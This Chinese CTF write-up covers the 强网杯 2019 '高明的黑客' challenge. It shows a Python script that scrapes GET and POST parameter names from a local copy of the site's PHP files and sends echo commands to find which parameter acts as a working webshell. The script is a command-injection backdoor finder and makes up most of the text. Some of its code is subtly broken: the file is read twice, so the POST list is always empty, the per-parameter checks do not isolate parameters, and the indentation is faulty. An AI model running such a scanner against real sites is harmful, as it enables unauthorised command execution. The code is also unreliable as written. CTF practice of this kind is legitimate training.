借[强网杯 2019]高明的黑客进行python脚本练习

本人脚本能力实在太差,这个题拿来练手感觉不错,尝试在这上面写出能跑起来的多线程py脚本

看了一下别人的脚本,大概思路就是脚本遍历所有的文件名把它添加到请求的url里,然后get传参和post传参好像是同时搞,后面跟一个命令,如果这个shell是可用的,页面就会输出我们自己让它输出的东西,以此来进行判断,得到可用的后门

os.listdir()函数得到的是仅当前路径下的文件名,不包括子目录中的文件 ,刚好这个题的目录也没有子文件,我们用它先写一个get_filename函数

def get_filename():
    path="C:/wamp64/www/src"
    filelist=os.listdir(path)
    print(filelist)

获得了文件名,再获取shell名,gets和posts都是列表

gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))

然后我就想如何判断我应该请求post还是get,又想一个个请求也太慢了,突然看到了大佬的脚本,知道我是可以一次性请求所有的get和post的,学到了

data={}
params={}                                                        
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)   

折腾了半天,最初版本如下,跑了一下,跑了十几秒中断了,发现原因是打开文件的编码问题,默认好像是gbk,改成utf-8就好了。

总结一下脚本编写思路,首先是获得文件名,获得文件名以后根据这些文件名进行for循环,利用正则匹配找可能可以利用的shell,然后这个文件的get和post一起传参,检测命令是否被执行,即echo 'dongyu',我们获得响应包,在里面找输出的文本就好了,如果找到了说明这个文件的一大堆参数肯定有能用的,我们就再进行两轮循环挨个试get和post参数,这样就能找到可以利用的shell了,最后把他们放进字典里输出

from urllib.request import Request
import requests
import re
import os
​
path="C:/wamp64/www/src"
filelist=os.listdir(path)
​
success={}
​
for file in filelist:
    f = open(path + "/" + file,encoding='utf-8')
    gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
    posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    
    url = 'http://127.0.0.1/src/'+file
    data={}
    params={}                                                        
    for m in gets:
        params[m] = "echo 'dongyu';"
    for n in posts:
        data[n] = "echo 'dongyu';"
    
    req1=requests.Session()
    reqq1 = req1.post(url, data=data, params=params)
    print(reqq1.status_code)
    if 'dongyu' in reqq1.text:
           for get in gets:
             req2=requests.get(url,params=params)
             if 'dongyu' in req2.text:
                  success[file]=get
                  break
               
​
           for post in posts:
             req3=requests.post(url,data=data)
             if 'dongyu' in req3.text:
                  success[file]=post
                  break
   print(success)

你可能感兴趣的:(#,python,python,web安全)